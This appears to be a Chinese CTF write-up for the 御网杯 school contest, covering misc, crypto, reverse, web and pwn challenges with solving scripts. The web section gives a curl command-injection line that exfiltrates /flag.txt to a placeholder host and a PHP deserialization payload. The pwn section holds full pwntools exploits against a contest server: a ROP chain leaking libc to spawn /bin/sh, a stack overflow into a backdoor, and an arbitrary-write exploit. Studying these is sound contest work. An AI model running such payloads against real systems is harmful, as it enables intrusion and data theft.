御网杯校赛wp

CTF

MISC

ez_xor

直接进行异或57即可拿到flag

1
2
3
4
5
6
7
8
9
a = [0x5f, 0x55, 0x58, 0x5e, 0x42, 0x71, 0x7a, 0x6d, 0x7f,  
     0x48, 0x4e, 0x5c, 0x78, 0x6a, 0x7d, 0x08, 0x01, 0x0b, 0x44]  
  
for i in range(256):  
    flag = ""  
    print(i)  
    for j in range(len(a)):  
        flag = flag + chr(i ^ a[j])  
    print(flag)

光隙中的寄生密钥

将jpg图片中的压缩包分离出来然后爆破密码得到

之后在进行hex base64解密即可得到flag

被折叠的显影图纸

直接搜索flag

ez_picture

lsb拿到密码

然后解压有一个图片里面有base64加密的字符,解密可得flag

easy_misc

先转ascii 然后base64解密 在base58解密

最后在rot13或者凯撒13都可以

套娃

先改成压缩包解压出txt文件在改成docx文件打开变个颜色就行

WEB

YWB_Web_xff

查看源码知道要求ip是2.2.2.1即可

YWB_Web_未授权访问

直接将cookie中的guest改成admin 然后 0 改为1即可

easyweb

利用curl命令外带就可以了

cmd=curl http:/x.x.x.x/$(cat /flag.txt)

YWB_Web_命令执行过滤绕过

利用 var_dump file_get_contents 读取flag

YWB_Web_反序列化

反序列化直接构造即可

1
O:7:"mylogin":2:{s:4:"user";N;s:4:"pass";s:11:"myzS@11wawq";}

CRYPTO

cry_rsa

直接写脚本就可以

1
2
3
4
5
6
7
8
9
10
from sympy import mod_inverse  
  
  
p = 473398607161  
q = 4511491  
e = 19  
phi_n = (p - 1) * (q - 1)  
d = mod_inverse(e, phi_n)  

print(f"flag{{{d+5}}}")

gift

根据描述可以推算出为pie，然后在按照凯撒的偏移为10可以计算出zso

草甸方阵的密语

先栅栏10在凯撒7

easy-签到题

直接cyberchef梭哈

baby_rsa

若 p ≈ q 或 p = q + k，其中 k 较小，则可以通过暴力枚举 k 得到 p 和 q，进而得到 φ(N)，最终恢复私钥。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from Crypto.Util.number import isPrime, long_to_bytes  
from gmpy2 import isqrt, invert  
  
N = 12194420073815392880989031611545296854145241675320130314821394843436947373331080911787176737202940676809674543138807024739454432089096794532016797246441325729856528664071322968428804098069997196490382286126389331179054971927655320978298979794245379000336635795490242027519669217784433367021578247340154647762800402140321022659272383087544476178802025951768015423972182045405466448431557625201012332239774962902750073900383993300146193300485117217319794356652729502100167668439007925004769118070105324664379141623816256895933959211381114172778535296409639317535751005960540737044457986793503218555306862743329296169569  
e = 65537  
c = 4504811333111877209539001665516391567038109992884271089537302226304395434343112574404626060854962818378560852067621253927330725244984869198505556722509058098660083054715146670767687120587049288861063202617507262871279819211231233198070574538845161629806932541832207041112786336441975087351873537350203469642198999219863581040927505152110051313011073115724502567261524181865883874517555848163026240201856207626237859665607255740790404039098444452158216907752375078054615802613066229766343714317550472079224694798552886759103668349270682843916307652213810947814618810706997339302734827571635179684652559512873381672063  
  
for k in range(1, 1 << 16):  # 2^16 范围足够  
    # 解方程 q^2 + k*q - N = 0    D = k * k + 4 * N  
    sqrt_D = isqrt(D)  
    if sqrt_D * sqrt_D != D:  
        continue  
    q = (-k + sqrt_D) // 2  
    if N % q == 0:  
        p = N // q  
        if isPrime(p) and isPrime(q):  
            print(f"Found p and q!\np = {p}\nq = {q}")  
            break  
  
phi = (p - 1) * (q - 1)  
d = invert(e, phi)  
m = pow(c, d, N)  
  
print(str(long_to_bytes(m).rstrip(b"\x00")).replace("1","2"))

ez_base

垃圾邮件解密

https://www.spammimic.com/decode.cgi
然后直接base64解码

Reverse

sign in

rc4逆向，直接给出脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import struct

def rc4(key: bytes, data: bytes) -> bytes:
    """RC4解密函数：输入密钥和密文，输出明文"""
    S = list(range(256))
    j = 0

    # Key Scheduling Algorithm (KSA)
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]

    i = j = 0
    output = []

    # Pseudo-Random Generation Algorithm (PRGA)
    for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        k = S[(S[i] + S[j]) % 256]
        output.append(byte ^ k)

    return bytes(output)

# ----------------------------
# 构造密钥（72位 + 32位 = 10字节）
# ----------------------------
key_chunks_qword = [
    0xB8C6B89FC8B99FC8,
    0xCFB7B0C51443528F,
    0xB1A8C6B99BC7AC9C,
    0xBDC68AB3C59299C5
]
key_chunk_dword = 0xA69AC485  # 最后4字节

# 按照小端序构造密钥字节流
key_bytes = b''.join(struct.pack('<Q', chunk) for chunk in key_chunks_qword)
key_bytes += struct.pack('<I', key_chunk_dword)

# ----------------------------
# 构造密文（39字节）
# ----------------------------
ciphertext_chunks_qword = [
    0xC44745F289B15A46,
    0xBA8BB14D62D35502,
    0xB528D46C87D08D0A,
    0xA56220992C994B26
]
ciphertext_chunk_7bytes = 0x2AC19853F3F7

# 拼接密文字节流（前32字节 + 最后7字节）
ciphertext_bytes = b''.join(struct.pack('<Q', chunk) for chunk in ciphertext_chunks_qword)
ciphertext_bytes += struct.pack('<Q', ciphertext_chunk_7bytes)[:7]

# ----------------------------
# 解密
# ----------------------------
decrypted_data = rc4(key_bytes, ciphertext_bytes)

print("Decrypted result:")
print(decrypted_data.decode(errors='ignore'))  # 忽略非法字符，尝试打印明文

ez_math

要用pycdas反编译出来，是汇编代码，用python脚本逆一下，脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from z3 import *

s = Solver()
x = [Int(f'x_{i}') for i in range(38)]

for xi in x:
    s.add(xi >= 0)
    s.add(xi <= 127)

s.add(3*(x[0]*x[16]) -9*(x[1]*x[16]) -10*(x[1]*x[4]) +2*(x[11]*x[26]) -x[14]*x[32] -8*(x[14]*x[36]) -3*(x[15]*x[32]) +8*(x[15]*x[6]) +5*(x[17]*x[20]) +8*(x[17]*x[6]) -4*(x[18]*x[4]) +3*(x[19]*x[37]) +9*(x[22]*x[30]) -5*(x[25]*x[34]) -3*(x[30]*x[33]) -9*(x[32]*x[6]) -x[33]*x[7] -3*(x[36]*x[37]) +225496 == 0)
s.add(x[0] +8*(x[11]*x[12]) -2*(x[13]*x[14]) -2*x[21]*x[21] -2*(x[22]*x[33]) -10*(x[23]*x[3]) -2*(x[3]*x[6]) -8*(x[32]*x[33]) +4*(x[32]*x[5]) -9*(x[5]*x[7]) -x[6]*x[9] +199110 == 0)
s.add(-3*(x[0]*x[12]) +3*(x[10]*x[26]) -7*(x[12]*x[35]) +2*(x[13]*x[30]) +6*(x[14]*x[20]) +5*(x[14]*x[35]) +7*(x[15]*x[6]) +8*(x[16]*x[4]) -3*(x[17]*x[33]) -10*(x[18]*x[36]) +3*(x[19]*x[27]) -2*(x[23]*x[32]) -5*x[26]*x[26] -x[27]*x[8] -5*(x[30]*x[35]) -5*(x[30]*x[9]) +x[35]*x[4] +77980 == 0)
s.add(6*(x[10]*x[5]) +9*(x[12]*x[28]) -x[14]*x[29] -5*(x[14]*x[32]) -x[19]*x[4] +7*x[19] -6*(x[20]*x[31]) +8*(x[20]*x[36]) -10*(x[24]*x[4]) -9*(x[27]*x[6]) -x[29]*x[34] +7*(x[31]*x[36]) +10*(x[34]*x[6]) +6724 == 0)
s.add(5*(x[0]*x[2]) +6*(x[10]*x[3]) -2*(x[12]*x[35]) -3*(x[12]*x[6]) +5*(x[13]*x[15]) -3*(x[15]*x[6]) +3*(x[16]*x[19]) +2*(x[16]*x[4]) +9*x[17]*x[17] -9*(x[19]*x[22]) +3*(x[19]*x[9]) +10*(x[2]*x[20]) +4*(x[2]*x[32]) +10*(x[21]*x[37]) -6*x[22]*x[22] -2*(x[23]*x[36]) -x[23]*x[4] -2*x[29]*x[29] -4*x[31]*x[31] +5*(x[32]*x[6]) -181318 == 0)
s.add(-3*(x[0]*x[28]) +6*(x[0]*x[31]) -4*(x[0]*x[33]) -5*x[0] -5*(x[1]*x[23]) +4*(x[10]*x[13]) -7*(x[10]*x[15]) +9*(x[13]*x[31]) +2*(x[16]*x[2]) -x[22]*x[8] -4*(x[22]*x[9]) +3*(x[24]*x[34]) -7*(x[29]*x[9]) +11066 == 0)
s.add(8*(x[13]*x[15]) -5*(x[15]*x[16]) -9*(x[16]*x[20]) +2*(x[19]*x[32]) -4*(x[19]*x[4]) -4*(x[21]*x[26]) +10*(x[22]*x[27]) -2*(x[25]*x[30]) +3*(x[26]*x[27]) -3*(x[26]*x[35]) -5*(x[30]*x[32]) +3*(x[32]*x[34]) -4*(x[32]*x[37]) -x[4]*x[9] +54095 == 0)
s.add(-2*(x[0]*x[33]) -7*(x[10]*x[22]) -10*(x[14]*x[27]) +5*(x[15]*x[17]) -8*(x[15]*x[20]) +8*(x[16]*x[37]) -7*(x[17]*x[21]) +4*(x[17]*x[3]) -9*(x[21]*x[32]) -5*(x[21]*x[5]) -5*(x[23]*x[34]) +9*(x[24]*x[7]) -4*(x[29]*x[30]) -4*(x[29]*x[6]) -7*(x[33]*x[6]) +8*(x[35]*x[9]) -6*(x[36]*x[7]) +x[4]*x[8] +115633 == 0)
s.add(4*(x[0]*x[34]) +4*(x[1]*x[6]) -4*(x[10]*x[29]) -2*(x[10]*x[5]) -10*(x[11]*x[25]) +6*x[12]*x[12] -9*(x[13]*x[31]) +3*(x[15]*x[3]) +10*(x[16]*x[21]) -4*x[18] +7*x[19] +x[2]*x[28] -8*(x[20]*x[37]) +3*(x[21]*x[32]) +3*(x[24]*x[4]) -x[26]*x[9] -6*(x[28]*x[33]) +2*(x[3]*x[30]) +4*x[9]*x[9] +68545 == 0)
s.add(-3*(x[0]*x[26]) -4*(x[1]*x[23]) -6*(x[10]*x[32]) +x[12]*x[24] -5*(x[17]*x[34]) +x[24]*x[24] -10*(x[26]*x[34]) -6*(x[26]*x[35]) -5*(x[26]*x[7]) -10*(x[27]*x[3]) +x[28]*x[30] -5*(x[28]*x[35]) -2*(x[30]*x[7]) -10*(x[34]*x[36]) -x[37] +349470 == 0)
s.add(-9*(x[0]*x[6]) -x[1]*x[15] +x[11]*x[21] +10*(x[14]*x[24]) +4*(x[15]*x[30]) +2*(x[15]*x[8]) -6*(x[16]*x[25]) -9*(x[16]*x[7]) -9*(x[18]*x[3]) +x[18]*x[9] +6*x[2]*x[2] +4*(x[2]*x[3]) +x[2]*x[35] -2*(x[20]*x[3]) -x[21]*x[32] -6*(x[22]*x[27]) +9*(x[22]*x[8]) -5*(x[27]*x[28]) +5*(x[31]*x[4]) +7*x[34]*x[34] -9*x[35]*x[35] -5*(x[36]*x[5]) -3385 == 0)
s.add(4*(x[0]*x[36]) +8*(x[10]*x[28]) +6*(x[13]*x[7]) +5*(x[18]*x[9]) +5*(x[2]*x[24]) +x[2]*x[27] -5*(x[23]*x[34]) +8*(x[25]*x[31]) +6*(x[25]*x[34]) -9*(x[26]*x[5]) +8*(x[29]*x[6]) +10*x[8] -8*x[9] -257040 == 0)
s.add(-10*(x[1]*x[26]) +9*(x[12]*x[2]) -6*(x[14]*x[20]) +6*(x[15]*x[8]) +6*(x[2]*x[26]) +5*(x[22]*x[36]) -4*(x[24]*x[35]) -x[28]*x[33] -7*(x[36]*x[9]) -5*(x[5]*x[8]) +30353 == 0)
s.add(3*(x[0]*x[35]) +3*(x[1]*x[22]) +4*(x[1]*x[6]) -9*(x[10]*x[26]) -10*(x[11]*x[12]) -10*(x[15]*x[19]) +6*(x[16]*x[35]) +9*(x[17]*x[28]) -4*(x[2]*x[33]) -10*(x[2]*x[6]) -x[27]*x[31] +5*(x[29]*x[33]) +2*(x[3]*x[5]) -10*(x[31]*x[7]) -3*(x[32]*x[37]) +2*(x[34]*x[5]) +4*(x[35]*x[6]) +198955 == 0)
s.add(-4*(x[1]*x[12]) +5*(x[1]*x[13]) -5*(x[10]*x[37]) -10*(x[11]*x[13]) +5*(x[12]*x[13]) +8*(x[15]*x[31]) +4*(x[2]*x[5]) +5*(x[22]*x[6]) +9*(x[33]*x[9]) -9*(x[36]*x[4]) +4*(x[36]*x[6]) -42460 == 0)
s.add(-6*(x[0]*x[36]) +10*(x[14]*x[9]) -7*(x[16]*x[30]) +7*x[18] +5*(x[2]*x[3]) -8*(x[2]*x[37]) +5*(x[20]*x[3]) -7*(x[21]*x[27]) -4*(x[21]*x[37]) +3*(x[24]*x[27]) +8*x[27]*x[27] -5*x[28] +x[30]*x[31] +5*(x[31]*x[5]) -7*(x[33]*x[9]) -3*(x[34]*x[35]) -6*x[36] +96524 == 0)
s.add(5*(x[0]*x[28]) +2*x[10]*x[10] +3*(x[10]*x[31]) +7*(x[12]*x[37]) +10*(x[13]*x[28]) -2*(x[15]*x[23]) -5*(x[15]*x[7]) +3*(x[16]*x[22]) -3*(x[17]*x[24]) +7*(x[17]*x[35]) -8*(x[18]*x[2]) +7*(x[19]*x[2]) -6*(x[19]*x[29]) +6*(x[19]*x[9]) -3*(x[22]*x[4]) -6*(x[23]*x[3]) -4*x[25]*x[25] +2*(x[26]*x[36]) +4*(x[29]*x[4]) +8*(x[33]*x[7]) -176352 == 0)
s.add(-8*(x[1]*x[9]) +2*(x[11]*x[18]) -5*(x[13]*x[18]) +4*(x[16]*x[6]) -7*x[16] -8*x[17]*x[17] +6*(x[17]*x[22]) -6*(x[18]*x[26]) -4*x[18] +4*x[19] +6*(x[2]*x[20]) -9*(x[20]*x[36]) +5*(x[21]*x[29]) +8*(x[23]*x[33]) -3*(x[25]*x[26]) +x[26]*x[32] +5*(x[32]*x[5]) -3*x[35]*x[35] +58933 == 0)
s.add(-8*(x[0]*x[24]) +9*(x[0]*x[26]) +8*(x[1]*x[13]) +2*(x[1]*x[14]) -x[1]*x[24] -5*(x[1]*x[6]) +9*(x[10]*x[25]) +5*(x[10]*x[34]) +4*(x[10]*x[36]) +4*(x[12]*x[25]) +8*(x[13]*x[21]) +4*(x[13]*x[29]) -6*(x[14]*x[19]) +2*(x[16]*x[31]) -x[2]*x[28] -x[20]*x[37] -5*(x[20]*x[9]) -x[36]*x[8] -162371 == 0)
s.add(-3*(x[1]*x[22]) -3*x[11] +3*(x[13]*x[30]) -2*(x[13]*x[31]) +9*(x[14]*x[17]) +3*(x[15]*x[18]) -8*(x[15]*x[2]) -3*(x[17]*x[19]) +9*(x[17]*x[4]) +4*(x[18]*x[21]) +5*(x[18]*x[36]) +2*x[2]*x[2] +5*(x[2]*x[37]) -8*(x[20]*x[35]) +5*(x[22]*x[28]) +2*(x[23]*x[32]) -10*x[31]*x[31] -2*x[4] +3*x[7] -63243 == 0)
s.add(7*(x[11]*x[25]) +5*(x[12]*x[14]) -7*(x[12]*x[36]) +5*(x[13]*x[23]) +8*(x[15]*x[36]) +7*(x[16]*x[25]) -8*(x[16]*x[34]) -6*x[19]*x[19] -8*(x[22]*x[26]) -6*(x[28]*x[3]) +7*(x[29]*x[36]) -2*x[32]*x[32] +8*(x[4]*x[5]) +9*x[6]*x[6] -106879 == 0)
s.add(-8*(x[0]*x[37]) -3*(x[1]*x[32]) +10*(x[12]*x[18]) +9*(x[13]*x[19]) -8*(x[13]*x[37]) -7*(x[14]*x[5]) +5*(x[14]*x[9]) -10*(x[15]*x[6]) -3*(x[16]*x[7]) +10*(x[18]*x[22]) -7*(x[19]*x[6]) -4*(x[2]*x[7]) -5*(x[23]*x[25]) +10*(x[24]*x[28]) +10*(x[24]*x[33]) -7*(x[26]*x[4]) +10*(x[28]*x[9]) +6*(x[29]*x[5]) +7*(x[30]*x[31]) -5*(x[36]*x[6]) +9*(x[37]*x[8]) -99924 == 0)
s.add(-3*(x[1]*x[24]) +5*(x[1]*x[32]) -9*(x[15]*x[5]) -9*(x[17]*x[22]) +5*(x[19]*x[21]) +4*(x[2]*x[28]) -2*(x[2]*x[6]) -5*(x[20]*x[32]) -7*(x[21]*x[5]) +7*(x[22]*x[28]) +10*(x[22]*x[5]) +8*(x[28]*x[32]) -x[30]*x[34] +6*(x[32]*x[34]) +7*(x[37]*x[6]) -9*(x[4]*x[7]) +1879 == 0)
s.add(-7*(x[1]*x[17]) -6*x[10] -9*(x[11]*x[26]) -4*x[12]*x[12] +9*(x[12]*x[36]) +9*(x[14]*x[35]) -4*(x[15]*x[9]) -3*(x[16]*x[4]) -10*(x[17]*x[34]) -5*(x[23]*x[36]) -9*(x[24]*x[8]) -9*(x[25]*x[27]) -x[25]*x[7] +8*(x[26]*x[3]) -5*(x[28]*x[7]) -3*(x[30]*x[32]) +7*(x[30]*x[4]) +195050 == 0)
s.add(-7*(x[0]*x[16]) -x[0]*x[6] +9*(x[10]*x[17]) -4*(x[10]*x[36]) +2*(x[10]*x[4]) +9*(x[14]*x[19]) -3*(x[16]*x[26]) -9*(x[17]*x[31]) -2*(x[19]*x[26]) -7*(x[20]*x[21]) -3*(x[20]*x[36]) +8*(x[24]*x[27]) +3*(x[25]*x[6]) -6*(x[29]*x[37]) +2*(x[29]*x[6]) +120700 == 0)
s.add(-10*(x[1]*x[19]) +7*(x[1]*x[35]) +8*(x[10]*x[18]) +6*(x[10]*x[20]) -5*(x[10]*x[35]) +8*(x[16]*x[7]) +9*x[17] +9*x[19]*x[19] -7*(x[19]*x[29]) +5*(x[20]*x[25]) -6*(x[20]*x[28]) +9*(x[21]*x[30]) +x[23]*x[23] -8*(x[27]*x[6]) -6*(x[27]*x[9]) -8*(x[29]*x[32]) +7*(x[29]*x[36]) +2*x[29] -44707 == 0)
s.add(7*(x[1]*x[15]) -5*(x[16]*x[35]) +8*(x[18]*x[36]) +9*(x[19]*x[3]) -7*(x[24]*x[3]) +9*(x[25]*x[36]) +7*(x[26]*x[27]) -10*x[29]*x[29] -8*(x[33]*x[5]) -3*(x[36]*x[9]) -86231 == 0)
s.add(9*x[1]*x[1] +7*(x[1]*x[18]) -3*(x[1]*x[27]) -6*(x[10]*x[27]) +x[11]*x[11] +7*(x[11]*x[25]) -2*(x[12]*x[5]) +4*x[14]*x[14] -2*(x[18]*x[22]) +2*(x[18]*x[24]) -4*(x[18]*x[35]) +9*(x[2]*x[5]) -6*x[21]*x[21] +7*(x[21]*x[28]) +4*(x[25]*x[26]) +5*(x[25]*x[27]) -4*(x[26]*x[4]) -8*(x[28]*x[5]) -176672 == 0)
s.add(7*(x[0]*x[20]) -3*(x[1]*x[27]) -10*(x[1]*x[29]) -6*(x[15]*x[36]) -5*(x[16]*x[4]) +4*(x[25]*x[29]) -4*(x[28]*x[30]) +3*x[33] +171447 == 0)
s.add(-3*(x[10]*x[22]) +4*(x[11]*x[9]) +6*(x[15]*x[27]) -5*x[19] +4*(x[20]*x[28]) -x[22] -7*(x[23]*x[34]) +8*(x[24]*x[6]) +6*(x[29]*x[30]) -5*(x[31]*x[34]) +7*(x[32]*x[7]) +10*(x[34]*x[5]) +7*x[5]*x[5] -149082 == 0)
s.add(8*(x[0]*x[1]) +7*(x[0]*x[10]) -3*(x[0]*x[27]) -4*(x[11]*x[24]) -6*(x[12]*x[19]) +7*(x[12]*x[36]) -6*(x[12]*x[6]) +9*(x[13]*x[31]) +8*(x[18]*x[36]) +5*x[27]*x[27] -7*(x[28]*x[4]) +3*(x[29]*x[7]) -8*x[29] -7*(x[31]*x[37]) +5*(x[31]*x[5]) +6*(x[33]*x[4]) +9*(x[33]*x[7]) -307479 == 0)
s.add(-2*(x[10]*x[31]) -x[12]*x[8] -5*(x[2]*x[6]) +10*(x[21]*x[32]) +2*(x[21]*x[36]) -5*(x[22]*x[4]) -8*(x[23]*x[32]) +8*(x[23]*x[35]) -2*(x[24]*x[28]) +3*(x[25]*x[29]) -10*(x[25]*x[32]) -6*(x[27]*x[34]) -10*(x[28]*x[30]) +7*(x[29]*x[7]) -2*(x[30]*x[35]) +59762 == 0)
s.add(-8*(x[11]*x[9]) +10*(x[12]*x[21]) -x[13]*x[31] +8*(x[15]*x[3]) +2*(x[18]*x[7]) +4*(x[19]*x[9]) -2*(x[2]*x[32]) +5*(x[21]*x[4]) +8*(x[24]*x[27]) +6*x[24] -2*(x[25]*x[7]) -5*(x[27]*x[5]) +10*(x[3]*x[32]) -9*(x[33]*x[5]) +10*(x[34]*x[4]) -233185 == 0)
s.add(-10*(x[14]*x[26]) +x[14]*x[28] +10*(x[17]*x[19]) -8*(x[17]*x[5]) +3*(x[18]*x[27]) +8*x[18] -2*(x[28]*x[8]) +7*(x[31]*x[36]) +5*(x[33]*x[8]) -4*x[5]*x[5] +9*(x[7]*x[8]) -2*(x[8]*x[9]) -171922 == 0)
s.add(-9*(x[0]*x[2]) +6*(x[1]*x[10]) -10*(x[10]*x[20]) -x[10]*x[5] +9*(x[11]*x[32]) -8*(x[15]*x[19]) -3*(x[16]*x[3]) +x[16]*x[4] -6*(x[16]*x[9]) -10*(x[17]*x[28]) -6*(x[19]*x[32]) -8*(x[19]*x[5]) +6*(x[2]*x[21]) -5*(x[20]*x[33]) +8*x[22]*x[22] +2*(x[23]*x[37]) +6*(x[24]*x[5]) +2*(x[27]*x[5]) -4*(x[30]*x[7]) -x[33]*x[33] +8*x[36] +238392 == 0)
s.add(-7*(x[0]*x[35]) +8*(x[10]*x[30]) -8*(x[10]*x[32]) -5*(x[11]*x[17]) -5*(x[12]*x[3]) -5*(x[12]*x[36]) -5*(x[14]*x[5]) +4*x[15]*x[15] -9*(x[15]*x[27]) +4*(x[16]*x[18]) +4*(x[16]*x[6]) -5*(x[17]*x[27]) +3*(x[18]*x[2]) +9*(x[18]*x[4]) +7*x[18] +7*(x[19]*x[9]) -3*(x[22]*x[29]) +x[29] -7*(x[34]*x[6]) +5*x[5] -39408 == 0)
s.add(-10*(x[0]*x[11]) +x[0]*x[23] -8*(x[1]*x[19]) -3*(x[11]*x[36]) -5*(x[13]*x[22]) -x[14]*x[21] +3*(x[17]*x[29]) -x[2]*x[27] -10*(x[24]*x[26]) +2*(x[25]*x[4]) +10*(x[26]*x[4]) -x[27]*x[33] +x[28]*x[6] -10*(x[32]*x[7]) -x[33]*x[36] +7*(x[37]*x[6]) +137619 == 0)
s.add(9*(x[0]*x[11]) -4*(x[1]*x[28]) -8*(x[10]*x[37]) +7*(x[12]*x[13]) -3*(x[12]*x[34]) -6*(x[15]*x[31]) -8*(x[2]*x[7]) +3*(x[20]*x[23]) +5*(x[20]*x[33]) -5*(x[24]*x[9]) +10*(x[26]*x[28]) -9*(x[28]*x[30]) +9*(x[31]*x[33]) -4521 == 0)

if s.check() == sat:
    m = s.model()
    flag = ''.join([chr(m[xi].as_long()) for xi in x])
    print(flag)

Pwn

ez_pwn

栈溢出，直接看脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
from LibcSearcher import *

context(os='linux', arch='amd64', log_level='debug')

# 连接远程
p = remote('47.105.113.86', 30003)
elf = ELF('./pwn')
libc = elf.libc

# 常量
write_got = elf.got['write']
write_plt = elf.plt['write']
read_plt = elf.plt['read']
main = elf.symbols['main']
stdout_addr = 0x404060

# ROP gadgets
pop_rdi = 0x4012c3
pop_rsi_r15 = 0x4012c1
ret = 0x40101a

# 第一次payload：修改stdout，然后泄露write地址
payload = flat(
    b'a' * 0x28,
    pop_rdi, 0,                     # read(0, stdout_addr, 1)
    pop_rsi_r15, stdout_addr, 0,
    read_plt,

    pop_rdi, 2,                     # write(2, write@got, size)
    pop_rsi_r15, write_got, 0,
    write_plt,

    main                            # 回到 main
)
p.sendlineafter(b"blind now.", payload)

# 发1字节，修 stdout
p.send(b'\xc0\x15')  # 触发后续 write 输出

# 获取 write 地址并计算libc base
write_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc_base = write_addr - libc.symbols['write']
log.success("libc base: " + hex(libc_base))

# 构造 system("/bin/sh") 的地址
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))

# 第二次payload：调用 system("/bin/sh")
payload = flat(
    b'a' * 0x28,
    ret,
    pop_rdi, binsh_addr,
    ret,
    system_addr
)
p.sendline(payload)
p.interactive()

Canary

程序在 choice1 中存在明显的 栈溢出漏洞，但由于栈中布置了 Stack Canary（栈保护机制），溢出后若 canary 被破坏，将导致程序在函数返回前崩溃。更进一步分析发现，虽然 canary 的值是由随机函数生成的，但由于程序中无法泄露种子 seed，我们不能直接预测正确的 canary 值。

然而，程序的逻辑结构设计存在缺陷：canary 的校验并不是实时进行的，而是在主循环退出后统一进行；与此同时，在 choice2 分支中，存在对 canary 所在位置重新写入的功能，这一行为可用于修复之前因栈溢出而破坏的 canary 值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

# 设置上下文
context(os='linux', arch='amd64', log_level='debug')

# 连接远程服务
p = remote('47.105.113.86', 30001)

# 设置 backdoor 函数地址（伪造返回地址跳过去执行）
backdoor = 0x401581

# 构造 payload
# 缓冲区为 0x70 字节，最后 4 字节可能为某种校验/整数（补 p32(0)）
# 紧接着填充 8 字节（可能是 saved rbp），最后覆盖返回地址为 backdoor
payload = b'a' * (0x70 - 4)  # 填满缓冲区
payload += p32(0)            # 对齐 / 占位（避免触发错误）
payload += p64(0)            # 填充 saved RBP
payload += p64(backdoor)     # 覆盖返回地址为 backdoor 函数

# 交互逻辑按题目设计流程来选项
p.sendlineafter("Input your choice\n", "1")
p.sendlineafter("Show me the code:\n", payload)

# 执行回调利用逻辑
p.sendlineafter("Input your choice\n", "2")
p.sendlineafter("Input your choice\n", "3")

# 打开交互，接 shell
p.interactive()

special_malloc

拖入IDA分析，简单的还原下伪代码：

需要想办法修改global_flag == 0x12345678，继续分析：

edit方法没有判断范围可以任意地址写。

gdb调试，找到0x601f00的位置：

将0x602000中的内容修改为0x6020f0。

然后根据0x602000的指针修改0x6020f0即可满足global_flag的要求。

最后输入cat_flags拿下flag，需要注意加入sleep，防止远程多次输入粘包。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

context.log_level = 'debug'

# p = process('./pwn')
p = remote('47.105.113.86', '30007')

p.sendline(b'add')
sleep(1)

p.sendline(b'editit')
sleep(1)
p.sendline(b'-68')
sleep(1)

p.send(p64(0x6020F0))
sleep(1)

p.sendline(b'editit')
sleep(1)

p.sendline(b'-36')
sleep(1)

p.send(p64(0x12345678))

sleep(1)

p.sendline(b'cat_flags')
sleep(1)

p.sendline(b'flag')

sleep(1)

p.interactive()